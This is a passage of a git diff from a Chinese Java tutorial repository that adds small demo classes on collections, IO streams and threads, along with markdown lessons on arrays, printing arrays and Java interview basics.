sum(int n) { + int sum = 0; + for (int i=0;i 0) { + i /= 2; + System.out.println(i); + } +} +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s53/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s53/Demo.java new file mode 100644 index 0000000000..93b20db925 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s53/Demo.java @@ -0,0 +1,20 @@ +package com.itwanger.s53; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { + ArrayList list = new ArrayList(); + + for (int i = 0; i < 16; i++) { + list.add("沉默王二"); + } + + HashMap map; + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s54/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s54/Demo.java new file mode 100644 index 0000000000..fc7e9473f3 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s54/Demo.java @@ -0,0 +1,17 @@ +package com.itwanger.s54; + +import java.util.ArrayList; +import java.util.LinkedList; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { + LinkedList list = new LinkedList(); + list.add("沉默王二"); + list.add("沉默王三"); + list.add("沉默王四"); + ArrayList list1; + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s56/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s56/Demo.java new file mode 100644 index 0000000000..2b9609cfcb --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s56/Demo.java @@ -0,0 +1,14 @@ +package com.itwanger.s56; + +import java.util.HashMap; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { + HashMap map = new HashMap(); + map.put("chen", "沉"); + map.put("chen", "沉1"); + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s62/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s62/Demo.java new file mode 100644 index 0000000000..dd0b8c0429 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s62/Demo.java @@ -0,0 +1,36 @@ +package com.itwanger.s62; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { +// List list = new ArrayList<>(); +// for (Integer num : list) { +// System.out.println(num); +// } + + List list = new LinkedList<>(); + list.add("沉默王二"); + list.add("沉默王三"); + list.add("沉默王四"); + +for (int i = 0; i < list.size(); i++) { + System.out.print(list.get(i) + ","); +} + +Iterator it = list.iterator(); +while (it.hasNext()) { + System.out.print(it.next() + ","); +} + +for (String str : list) { + System.out.print(str + ","); +} + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s63/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s63/Demo.java new file mode 100644 index 0000000000..b03005218c --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s63/Demo.java @@ -0,0 +1,24 @@ +package com.itwanger.s63; + +import java.util.ArrayList; +import java.util.List; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { + List list = new ArrayList<>(); + list.add("沉默王二"); + list.add("沉默王三"); + list.add("一个文章真特么有趣的程序员"); + + for (String str : list) { + if ("沉默王二".equals(str)) { + list.remove(str); + } + } + + System.out.println(list); + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s64/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s64/Demo.java new file mode 100644 index 0000000000..2a60dbb98c --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s64/Demo.java @@ -0,0 +1,70 @@ +package com.itwanger.s64; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Vector; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.CopyOnWriteArrayList; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { + List list = new ArrayList<>(); + list.add("沉默王二"); + list.add("沉默王三"); + list.add("沉默王四"); + list.add("沉默王五"); + list.add("沉默王六"); + + System.out.println("原始顺序:" + list); + +// // 反转 +// Collections.reverse(list); +// System.out.println("反转后:" + list); +// +// // 洗牌 +// Collections.shuffle(list); +// System.out.println("洗牌后:" + list); +// +// // 自然升序 +// Collections.sort(list); +// System.out.println("自然升序后:" + list); +// +// // 交换 +// Collections.swap(list, 2,4); +// System.out.println("交换后:" + list); + +// System.out.println("最大元素:" + Collections.max(list)); +// System.out.println("最小元素:" + Collections.min(list)); +// System.out.println("出现的次数:" + Collections.frequency(list, "沉默王二")); +// +// // 没有排序直接调用二分查找,结果是不确定的 +// System.out.println("排序前的二分查找结果:" + Collections.binarySearch(list, "沉默王二")); +// Collections.sort(list); +// // 排序后,查找结果和预期一致 +// System.out.println("排序后的二分查找结果:" + Collections.binarySearch(list, "沉默王二")); +// +// Collections.fill(list, "沉默王八"); +// System.out.println("填充后的结果:" + list); +// +// Vector vector; +// CopyOnWriteArrayList copyOnWriteArrayList; +// ConcurrentHashMap concurrentHashMap; +// +// List synchronizedList = Collections.synchronizedList(list); +// +// list.add(1,"test"); +// List emptyList = Collections.emptyList(); +// emptyList.add("非空"); +// System.out.println(emptyList); + +List allList = new ArrayList<>(); +Collections.addAll(allList, "沉默王九","沉默王十","沉默王二"); +System.out.println("addAll 后:" + allList); + +System.out.println("是否没有交集:" + (Collections.disjoint(list, allList) ? "是" : "否")); + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s65/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s65/Demo.java new file mode 100644 index 0000000000..f926e06565 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s65/Demo.java @@ -0,0 +1,136 @@ +package com.itwanger.s65; + +import java.io.*; +import java.nio.charset.StandardCharsets; +import java.util.Arrays; + +class Demo { + public static void main(String[] args) throws IOException { +// InputStream is; +// Reader r; + +//int b; +//FileInputStream fis1 = new FileInputStream("fis.txt"); +//// 循环读取 +//while ((b = fis1.read())!=-1) { +// System.out.println((char)b); +//} +//// 关闭资源 +//fis1.close(); +// +// +//FileOutputStream fos = new FileOutputStream("fos.txt"); +//fos.write("沉默王二".getBytes()); +//fos.close(); + + +//// 1、逐个字符读取 +//int b = 0; +//FileReader fileReader = new FileReader("read.txt"); +//// 循环读取 +//while ((b = fileReader.read())!=-1) { +// // 自动提升类型提升为 int 类型,所以用 char 强转 +// System.out.println((char)b); +//} +//// 关闭流 +//fileReader.close(); +// +// +//FileWriter fileWriter = new FileWriter("fw.txt"); +//char[] chars = "沉默王二".toCharArray(); +//fileWriter.write(chars, 0, chars.length); +//fileWriter.close(); + + +//InputStream is =new BufferedInputStream( +// new ByteArrayInputStream( +// "沉默王二".getBytes(StandardCharsets.UTF_8))); +////操作 +//byte[] flush =new byte[1024]; +//int len =0; +//while(-1!=(len=is.read(flush))){ +// System.out.println(new String(flush,0,len)); +//} +////释放资源 +//is.close(); +// +// +//ByteArrayOutputStream bos =new ByteArrayOutputStream(); +//byte[] info ="沉默王二".getBytes(); +//bos.write(info, 0, info.length); +////获取数据 +//byte[] dest =bos.toByteArray(); +////释放资源 +//bos.close(); + +final PipedOutputStream pipedOutputStream = new PipedOutputStream(); +final PipedInputStream pipedInputStream = new PipedInputStream(pipedOutputStream); + +Thread thread1 = new Thread(new Runnable() { + @Override + public void run() { + try { + pipedOutputStream.write("沉默王二".getBytes(StandardCharsets.UTF_8)); + pipedOutputStream.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } +}); + +Thread thread2 = new Thread(new Runnable() { + @Override + public void run() { + try { + byte[] flush =new byte[1024]; + int len =0; + while(-1!=(len=pipedInputStream.read(flush))){ + System.out.println(new String(flush,0,len)); + } + + pipedInputStream.close(); + } catch (IOException e) { + e.printStackTrace(); + } + + } +}); +thread1.start(); +thread2.start(); + + DataInputStream dataInputStream; +// dataInputStream.read + + PrintWriter printWriter; + +//StringWriter buffer = new StringWriter(); +//try (PrintWriter pw = new PrintWriter(buffer)) { +// pw.println("沉默王二"); +//} +//System.out.println(buffer.toString()); + + +ByteArrayOutputStream buffer = new ByteArrayOutputStream(); +try (ObjectOutputStream output = new ObjectOutputStream(buffer)) { + output.writeUTF("沉默王二"); +} +System.out.println(Arrays.toString(buffer.toByteArray())); + +try (ObjectInputStream input = new ObjectInputStream(new FileInputStream( + new File("Person.txt")))) { + String s = input.readUTF(); +} + +InputStreamReader isr = new InputStreamReader( + new FileInputStream("demo.txt")); +char []cha = new char[1024]; +int len = isr.read(cha); +System.out.println(new String(cha,0,len)); +isr.close(); + +File f = new File("test.txt") ; +Writer out = new OutputStreamWriter(new FileOutputStream(f)) ; // 字节流变为字符流 +out.write("hello world!!") ; // 使用字符流输出 +out.close() ; + } +} \ No newline at end of file diff --git a/codes/java8demo/src/main/java/com/itwanger/thread1/MyRunnable.java b/codes/java8demo/src/main/java/com/itwanger/thread1/MyRunnable.java new file mode 100644 index 0000000000..1907d33885 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/thread1/MyRunnable.java @@ -0,0 +1,37 @@ +package com.itwanger.thread1; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class MyRunnable implements Runnable { + @Override + public void run() { + for (int i = 0; i < 10; i++) { +try {//sleep会发生异常要显示处理 + Thread.sleep(20);//暂停20毫秒 +} catch (InterruptedException e) { + e.printStackTrace(); +} + System.out.println(Thread.currentThread().getName() + "打了:" + i + "个小兵"); + } + } + + public static void main(String[] args) { +//创建MyRunnable类 +MyRunnable mr = new MyRunnable(); +//创建Thread类的有参构造,并设置线程名 +Thread t1 = new Thread(mr, "张飞"); +Thread t2 = new Thread(mr, "貂蝉"); +Thread t3 = new Thread(mr, "吕布"); + +t1.setDaemon(true); +t2.setDaemon(true); + +//启动线程 +t1.start(); +t2.start(); +t3.start(); + + + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/thread1/MyThread.java b/codes/java8demo/src/main/java/com/itwanger/thread1/MyThread.java new file mode 100644 index 0000000000..c485eadf38 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/thread1/MyThread.java @@ -0,0 +1,28 @@ +package com.itwanger.thread1; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class MyThread extends Thread { + @Override + public void run() { + for (int i = 0; i < 100; i++) { + System.out.println(getName() + ":打了" + i + "个小兵"); + } + } + + public static void main(String[] args) { +//创建MyThread对象 +MyThread t1=new MyThread(); +MyThread t2=new MyThread(); +MyThread t3=new MyThread(); +//设置线程的名字 +t1.setName("鲁班"); +t2.setName("刘备"); +t3.setName("亚瑟"); +//启动线程 +t1.start(); +t2.start(); +t3.start(); + } +} diff --git a/docs/array/array.md b/docs/array/array.md new file mode 100644 index 0000000000..9b802c7f18 --- /dev/null +++ b/docs/array/array.md @@ -0,0 +1,240 @@ +“哥,我看你之前的文章里提到,ArrayList 的内部是用数组实现的,我就对数组非常感兴趣,想深入地了解一下,今天终于到这个环节了,好期待呀!”三妹的语气里显得很兴奋。 + +“的确是的,看 ArrayList 的源码就一清二楚了。”我一边说,一边打开 Intellij IDEA,并找到了 ArrayList 的源码。 + +```java +/** + * The array buffer into which the elements of the ArrayList are stored. + * The capacity of the ArrayList is the length of this array buffer. Any + * empty ArrayList with elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA + * will be expanded to DEFAULT_CAPACITY when the first element is added. + */ +transient Object[] elementData; // non-private to simplify nested class access + +/** + * The size of the ArrayList (the number of elements it contains). + * + * @serial + */ +private int size; +``` + +“瞧见没?`Object[] elementData` 就是数组。”我指着显示屏上这串代码继续说。 + +数组是一个对象,它包含了一组固定数量的元素,并且这些元素的类型是相同的。数组会按照索引的方式将元素放在指定的位置上,意味着我们可以通过索引来访问这些元素。在 Java 中,索引是从 0 开始的。 + +“哥,能说一下为什么索引从 0 开始吗?”三妹突然这个话题很感兴趣。 + +“哦,Java 是基于 C/C++ 语言实现的,而 C 语言的下标是从 0 开始的,所以 Java 就继承了这个良好的传统习惯。C语言有一个很重要概念,叫做指针,它实际上是一个偏移量,距离开始位置的偏移量,第一个元素就在开始的位置,它的偏移量就为 0,所以索引就为 0。”此刻,我很自信。 + +“此外,还有另外一种说法。早期的计算机资源比较匮乏,0 作为起始下标相比较于 1 作为起始下标,编译的效率更高。” + +“哦。”三妹意味深长地点了点头。 + +我们可以将数组理解为一个个整齐排列的单元格,每个单元格里面存放着一个元素。 + +数组元素的类型可以是基本数据类型(比如说 int、double),也可以是引用数据类型(比如说 String),包括自定义类型。 + +数组的声明方式分两种。 + +先来看第一种: + +```java +int[] anArray; +``` + +再来看第二种: + +```java +int anOtherArray[]; +``` + +不同之处就在于中括号的位置,是跟在类型关键字的后面,还是跟在变量的名称的后面。前一种的使用频率更高一些,像 ArrayList 的源码中就用了第一种方式。 + +同样的,数组的初始化方式也有多种,最常见的是: + +```java +int[] anArray = new int[10]; +``` + +看到了没?上面这行代码中使用了 new 关键字,这就意味着数组的确是一个对象,只有对象的创建才会用到 new 关键字,基本数据类型是不用的。然后,我们需要在方括号中指定数组的长度。 + +这时候,数组中的每个元素都会被初始化为默认值,int 类型的就为 0,Object 类型的就为 null。 不同数据类型的默认值不同,可以参照[之前的文章](https://mp.weixin.qq.com/s/twim3w_dp5ctCigjLGIbFw)。 + +另外,还可以使用大括号的方式,直接初始化数组中的元素: + +```java +int anOtherArray[] = new int[] {1, 2, 3, 4, 5}; +``` + +这时候,数组的元素分别是 1、2、3、4、5,索引依次是 0、1、2、3、4,长度是 5。 + +“哥,怎么访问数组呢?”三妹及时地插话到。 + +前面提到过,可以通过索引来访问数组的元素,就像下面这样: + +```java +anArray[0] = 10; +``` + +变量名,加上中括号,加上元素的索引,就可以访问到数组,通过“=”操作符可以对元素进行赋值。 + +如果索引的值超出了数组的界限,就会抛出 `ArrayIndexOutOfBoundException`。 + +既然数组的索引是从 0 开始,那就是到数组的 `length - 1` 结束,不要使用超出这个范围内的索引访问数组,就不会抛出数组越界的异常了。 + +当数组的元素非常多的时候,逐个访问数组就太辛苦了,所以需要通过遍历的方式。 + +第一种,使用 for 循环: + +```java +int anOtherArray[] = new int[] {1, 2, 3, 4, 5}; +for (int i = 0; i < anOtherArray.length; i++) { + System.out.println(anOtherArray[i]); +} +``` + +通过 length 属性获取到数组的长度,然后从 0 开始遍历,就得到了数组的所有元素。 + +第二种,使用 for-each 循环: + +```java +for (int element : anOtherArray) { + System.out.println(element); +} +``` + +如果不需要关心索引的话(意味着不需要修改数组的某个元素),使用 for-each 遍历更简洁一些。当然,也可以使用 while 和 do-while 循环。 + +在 Java 中,可变参数用于将任意数量的参数传递给方法,来看 `varargsMethod()` 方法: + +```java +void varargsMethod(String... varargs) {} +``` + +该方法可以接收任意数量的字符串参数,可以是 0 个或者 N 个,本质上,可变参数就是通过数组实现的。为了证明这一点,我们可以看一下反编译一后的字节码: + +```java +public class VarargsDemo +{ + + public VarargsDemo() + { + } + + transient void varargsMethod(String as[]) + { + } +} +``` + +所以,我们其实可以直接将数组作为参数传递给该方法: + +```java +VarargsDemo demo = new VarargsDemo(); +String[] anArray = new String[] {"沉默王二", "一枚有趣的程序员"}; +demo.varargsMethod(anArray); +``` + +也可以直接传递多个字符串,通过逗号隔开的方式: + +```java +demo.varargsMethod("沉默王二", "一枚有趣的程序员"); +``` + +在 Java 中,数组与 List 关系非常密切。List 封装了很多常用的方法,方便我们对集合进行一些操作,而如果直接操作数组的话,有很多不便,因为数组本身没有提供这些封装好的操作,所以有时候我们需要把数组转成 List。 + +“怎么转呢?”三妹问到。 + +最原始的方式,就是通过遍历数组的方式,一个个将数组添加到 List 中。 + +```java +int[] anArray = new int[] {1, 2, 3, 4, 5}; + +List aList = new ArrayList<>(); +for (int element : anArray) { + aList.add(element); +} +``` + +更优雅的方式是通过 Arrays 类的 `asList()` 方法: + +```java +List aList = Arrays.asList(anArray); +``` + +但需要注意的是,该方法返回的 ArrayList 并不是 `java.util.ArrayList`,它其实是 Arrays 类的一个内部类: + +```java +private static class ArrayList extends AbstractList + implements RandomAccess, java.io.Serializable{} +``` + +如果需要添加元素或者删除元素的话,需要把它转成 `java.util.ArrayList`。 + +```java +new ArrayList<>(Arrays.asList(anArray)); +``` + +Java 8 新增了 Stream 流的概念,这就意味着我们也可以将数组转成 Stream 进行操作。 + +```java +String[] anArray = new String[] {"沉默王二", "一枚有趣的程序员", "好好珍重他"}; +Stream aStream = Arrays.stream(anArray); +``` + + +如果想对数组进行排序的话,可以使用 Arrays 类提供的 `sort()` 方法。 + +- 基本数据类型按照升序排列 +- 实现了 Comparable 接口的对象按照 `compareTo()` 的排序 + +来看第一个例子: + +```java +int[] anArray = new int[] {5, 2, 1, 4, 8}; +Arrays.sort(anArray); +``` + +排序后的结果如下所示: + +```java +[1, 2, 4, 5, 8] +``` + +来看第二个例子: + +```java +String[] yetAnotherArray = new String[] {"A", "E", "Z", "B", "C"}; +Arrays.sort(yetAnotherArray, 1, 3, + Comparator.comparing(String::toString).reversed()); +``` + +只对 1-3 位置上的元素进行反序,所以结果如下所示: + +``` +[A, Z, E, B, C] +``` + +有时候,我们需要从数组中查找某个具体的元素,最直接的方式就是通过遍历的方式: + +```java +int[] anArray = new int[] {5, 2, 1, 4, 8}; +for (int i = 0; i < anArray.length; i++) { + if (anArray[i] == 4) { + System.out.println("找到了 " + i); + break; + } +} +``` + +上例中从数组中查询元素 4,找到后通过 break 关键字退出循环。 + +如果数组提前进行了排序,就可以使用二分查找法,这样效率就会更高一些。`Arrays.binarySearch()` 方法可供我们使用,它需要传递一个数组,和要查找的元素。 + +```java +int[] anArray = new int[] {1, 2, 3, 4, 5}; +int index = Arrays.binarySearch(anArray, 4); +``` + +“除了一维数组,还有二维数组,三妹你可以去研究下,比如说用二维数组打印一下杨辉三角。”说完,我就去阳台上休息了,留三妹在那里学习,不能打扰她。 diff --git a/docs/array/print.md b/docs/array/print.md new file mode 100644 index 0000000000..6797901d02 --- /dev/null +++ b/docs/array/print.md @@ -0,0 +1,156 @@ +“哥,之前听你说,数组也是一个对象,但 Java 中并未明确的定义这样一个类。”看来三妹有在用心地学习。 + +“是的,因此数组也就没有机会覆盖 `Object.toString()` 方法。如果尝试直接打印数组的话,输出的结果并不是我们预期的结果。”我接着三妹的话继续说。 + +“那怎么打印数组呢?”三妹心有灵犀地把今天的核心问题提了出来。 + +“首先,我们来看一下,为什么不能直接打印数组,直接打印的话,会出现什么问题。” + +来看这样一个例子。 + +``` +String [] cmowers = {"沉默","王二","一枚有趣的程序员"}; +System.out.println(cmowers); +``` + +程序打印的结果是: + +``` +[Ljava.lang.String;@3d075dc0 +``` + +`[Ljava.lang.String;` 表示字符串数组的 Class 名,@ 后面的是十六进制的 hashCode——这样的打印结果太“人性化”了,一般人表示看不懂!为什么会这样显示呢?查看一下 `java.lang.Object` 类的 `toString()` 方法就明白了。 + +```java +public String toString() { + return getClass().getName() + "@" + Integer.toHexString(hashCode()); +} +``` + +再次证明,数组虽然没有显式定义成一个类,但它的确是一个对象,继承了祖先类 Object 的所有方法。 + +“哥,那为什么数组不单独定义一个类来表示呢?就像字符串 String 类那样呢?”三妹这个问题让人头大,但也好解释。 + +“一个合理的说法是 Java 将其隐藏了。假如真的存在这么一个类,就叫 Array.java 吧,我们假想一下它真实的样子,必须得有一个容器来存放数组的每一个元素,就像 String 类那样。”一边回答三妹,我一边打开了 String 类的源码。 + +```java +public final class String + implements java.io.Serializable, Comparable, CharSequence { + /** The value is used for character storage. */ + private final char value[]; +} +``` + +“最终还是要用类似一种数组的形式来存放数组的元素,对吧?这就变得很没有必要了,不妨就把数组当做是一个没有形体的对象吧!” + +“好了,不讨论这个了。”我怕话题扯远了,扯到我自己也答不出来就尴尬了,赶紧把三妹的思路拽了回来。 + +“我们来看第一种打印数组的方法,使用时髦一点的 Stream 流。” + +第一种形式: + +```java +Arrays.asList(cmowers).stream().forEach(s -> System.out.println(s)); +``` + +第二种形式: + +```java +Stream.of(cmowers).forEach(System.out::println); +``` + +第三种形式: + +```java +Arrays.stream(cmowers).forEach(System.out::println); +``` + +打印的结果如下所示。 + +``` +沉默 +王二 +一枚有趣的程序员 +``` + +没错,这三种方式都可以轻松胜任本职工作,并且显得有点高大上,毕竟用到了 Stream,以及 lambda 表达式。 + +“当然了,也可以使用比较土的方式,for 循环。甚至 for-each 也行。” + +```java +for(int i = 0; i < cmowers.length; i++){ + System.out.println(cmowers[i]); +} + +for (String s : cmowers) { + System.out.println(s); +} +``` + +“哥,你难道忘了[上一篇](https://mp.weixin.qq.com/s/acnDNH6A8USm_EYIT6i-jA)在讲 Arrays 工具类的时候,提到过另外一种方法 `Arrays.toString()` 吗?”三妹看我一直说不到点子上,有点着急了。 + +“当然没有了,我认为 `Arrays.toString()` 是打印数组的最佳方式,没有之一。”我的情绪有点激动。 + +`Arrays.toString()` 可以将任意类型的数组转成字符串,包括基本类型数组和引用类型数组。该方法有多种重载形式。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/array/print-01.png) + +使用 `Arrays.toString()` 方法来打印数组再优雅不过了,就像,就像,就像蒙娜丽莎的微笑。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/array/print-02.png) + +(三妹看到这么一副图的时候忍不住地笑了) + +“三妹,你不要笑,来,怀揣着愉快的心情看一下代码示例。” + +```java +String [] cmowers = {"沉默","王二","一枚有趣的程序员"}; +System.out.println(Arrays.toString(cmowers)); +``` + +程序打印结果: + +``` +[沉默, 王二, 一枚有趣的程序员] +``` + +哇,打印格式不要太完美,不多不少!完全是我们预期的结果:`[]` 表明是一个数组,`,` 点和空格用来分割元素。 + +“哥,那如果我想打印二维数组呢?” + +“可以使用 `Arrays.deepToString()` 方法。” + +```java +String[][] deepArray = new String[][] {{"沉默", "王二"}, {"一枚有趣的程序员"}}; +System.out.println(Arrays.deepToString(deepArray)); +``` + +打印结果如下所示。 + +``` +[[沉默, 王二], [一枚有趣的程序员]] +``` + +------- + +“说到打印,三妹,哥给你提醒一点。阿里巴巴的 Java 开发手册上有这样一条规约,你看。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/array/print-03.png) + +“什么是 POJO 呢,就是 Plain Ordinary Java Object 的缩写,一般在 Web 应用程序中建立一个数据库的映射对象时,我们称它为 POJO,这类对象不继承或不实现任何其它 Java 框架的类或接口。” + +“对于这样的类,最好是重写一下它的 `toString()` 方法,方便查看这个对象到底包含了什么字段,好排查问题。” + +“如果不重写的话,打印出来的 Java 对象就像直接打印数组的那样,一串谁也看不懂的字符序列。” + +“可以借助 Intellij IDEA 生成重写的 `toString()` 方法,特别方便。” + +“好的,哥,我记住了。以后遇到的话,我注意下。你去休息吧,我来敲一下你提到的这些代码,练一练。” + +“OK,我走,我走。” + +----- + +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! + +图片没显示的话,可以微信搜索「沉默王二」关注 diff --git a/docs/baguwen/java-basic-34.md b/docs/baguwen/java-basic-34.md new file mode 100644 index 0000000000..6799e2e10b --- /dev/null +++ b/docs/baguwen/java-basic-34.md @@ -0,0 +1,567 @@ + + +---- +先来看一下大纲吧,是不是有一种很满足的感觉? +[TOC] + +--- + +## 1.介绍一下 java 吧 + +java 是一门**开源的跨平台的面向对象的**计算机语言. + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-01.png) + +跨平台是因为 java 的 class 文件是运行在虚拟机上的,其实跨平台的,而**虚拟机是不同平台有不同版本**,所以说 java 是跨平台的. + +面向对象有几个特点: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-02.png) + +- 1.**封装** + - 两层含义:一层含义是把对象的属性和行为看成一个密不可分的整体,将这两者'封装'在一个不可分割的**独立单元**(即对象)中 + - 另一层含义指'信息隐藏,把不需要让外界知道的信息隐藏起来,有些对象的属性及行为允许外界用户知道或使用,但不允许更改,而另一些属性或行为,则不允许外界知晓,或只允许使用对象的功能,而尽可能**隐藏对象的功能实现细节**。 + +**优点**: + +> 1.良好的封装能够**减少耦合**,符合程序设计追求'高内聚,低耦合'。
+> 2.**类内部的结构可以自由修改**。
+> 3.可以对成员变量进行更**精确的控制**。
+> 4.**隐藏信息**实现细节。
+ + +- 2.**继承** + - 继承就是子类继承父类的特征和行为,使得子类对象(实例)具有父类的实例域和方法,或子类从父类继承方法,使得子类具有父类相同的行为。 + +**优点**: + +> 1.提高类代码的**复用性**
+> 2.提高了代码的**维护性**
+ +- 3.**多态** + - 多态是同一个行为具有多个不同表现形式或形态的能力。Java语言中含有方法重载与对象多态两种形式的多态: + - 1.**方法重载**:在一个类中,允许多个方法使用同一个名字,但方法的参数不同,完成的功能也不同。 + - 2.**对象多态**:子类对象可以与父类对象进行转换,而且根据其使用的子类不同完成的功能也不同(重写父类的方法)。 + + **优点** + +> 1. **消除类型之间的耦合关系**
+> 2. **可替换性**
+> 3. **可扩充性**
+> 4. **接口性**
+> 5. **灵活性**
+> 6. **简化性**
+ +## 2.java 有哪些数据类型? + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-03.png) + +java 主要有两种数据类型 + + - 1.**基本数据类型** + - 基本数据有**八个**, + - byte,short,int,long属于数值型中的整数型 + - float,double属于数值型中的浮点型 + - char属于字符型 + - boolean属于布尔型 + - 2.**引用数据类型** + - 引用数据类型有**三个**,分别是类,接口和数组 + +## 3.接口和抽象类有什么区别? + +- 1.接口是抽象类的变体,**接口中所有的方法都是抽象的**。而抽象类是声明方法的存在而不去实现它的类。 +- 2.接口可以多继承,抽象类不行。 +- 3.接口定义方法,不能实现,默认是 **public abstract**,而抽象类可以实现部分方法。 +- 4.接口中基本数据类型为 **public static final** 并且需要给出初始值,而抽类象不是的。 + +## 4.重载和重写什么区别? + +重写: + +- 1.参数列表必须**完全与被重写的方法**相同,否则不能称其为重写而是重载. +- 2.**返回的类型必须一直与被重写的方法的返回类型相同**,否则不能称其为重写而是重载。 +- 3.访问**修饰符的限制一定要大于被重写方法的访问修饰符** +- 4.重写方法一定**不能抛出新的检查异常或者比被重写方法申明更加宽泛的检查型异常**。 + +重载: + +- 1.必须具有**不同的参数列表**; +- 2.可以有不同的返回类型,只要参数列表不同就可以了; +- 3.可以有**不同的访问修饰符**; +- 4.可以抛出**不同的异常**; + +## 5.常见的异常有哪些? + +- NullPointerException 空指针异常 +- ArrayIndexOutOfBoundsException 索引越界异常 +- InputFormatException 输入类型不匹配 +- SQLException SQL异常 +- IllegalArgumentException 非法参数 +- NumberFormatException 类型转换异常 + 等等.... + +## 6.异常要怎么解决? + +Java标准库内建了一些通用的异常,这些类以Throwable为顶层父类。 + +Throwable又派生出**Error类和Exception类**。 + +错误:Error类以及他的子类的实例,代表了JVM本身的错误。错误不能被程序员通过代码处理,Error很少出现。因此,程序员应该关注Exception为父类的分支下的各种异常类。 + +异常:Exception以及他的子类,代表程序运行时发送的各种不期望发生的事件。可以被Java异常处理机制使用,是异常处理的核心。 + +处理方法: + +- 1.**try()catch(){}** + +``` +try{ +// 程序代码 +}catch(ExceptionName e1){ +//Catch 块 +} +``` + +- 2.**throw** + - throw 关键字作用是抛出一个异常,抛出的时候是抛出的是一个异常类的实例化对象,在异常处理中,try 语句要捕获的是一个异常对象,那么此异常对象也可以自己抛出 +- 3.**throws** + - 定义一个方法的时候可以使用 throws 关键字声明。使用 throws 关键字声明的方法表示此方法不处理异常,而交给方法调用处进行处理。 + +## 7.arrayList 和 linkedList 的区别? + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-04.png) + +- 1.ArrayList 是实现了基于**数组**的,存储空间是连续的。LinkedList 基于**链表**的,存储空间是不连续的。(LinkedList 是双向链表) + +- 2.对于**随机访问** get 和 set ,ArrayList 觉得优于 LinkedList,因为 LinkedList 要移动指针。 + +- 3.对于**新增和删除**操作 add 和 remove ,LinedList 比较占优势,因为 ArrayList 要移动数据。 + +- 4.同样的数据量 LinkedList 所占用空间可能会更小,因为 ArrayList 需要**预留空间**便于后续数据增加,而 LinkedList 增加数据只需要**增加一个节点** + +## 8.hashMap 1.7 和 hashMap 1.8 的区别? + +只记录**重点** + +| 不同点 | hashMap 1.7 | hashMap 1.8 | +| :-------------- | :----------------------------: | -----------------------------: | +| 数据结构 | 数组+链表 | 数组+链表+红黑树 | +| 插入数据的方式 | 头插法 | 尾插法 | +| hash 值计算方式 | 9次扰动处理(4次位运算+5次异或) | 2次扰动处理(1次位运算+1次异或) | +| 扩容策略 | 插入前扩容 | 插入后扩容 | + +## 9.hashMap 线程不安全体现在哪里? + +在 **hashMap1.7 中扩容**的时候,因为采用的是头插法,所以会可能会有循环链表产生,导致数据有问题,在 1.8 版本已修复,改为了尾插法 + +在任意版本的 hashMap 中,如果在**插入数据时多个线程命中了同一个槽**,可能会有数据覆盖的情况发生,导致线程不安全。 + +## 10.那么 hashMap 线程不安全怎么解决? + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-05.png) + +- 一.给 hashMap **直接加锁**,来保证线程安全 +- 二.使用 **hashTable**,比方法一效率高,其实就是在其方法上加了 synchronized 锁 +- 三.使用 **concurrentHashMap** , 不管是其 1.7 还是 1.8 版本,本质都是**减小了锁的粒度,减少线程竞争**来保证高效. + +## 11.concurrentHashMap 1.7 和 1.8 有什么区别 + +只记录**重点** + +| 不同点 | concurrentHashMap 1.7 | concurrentHashMap 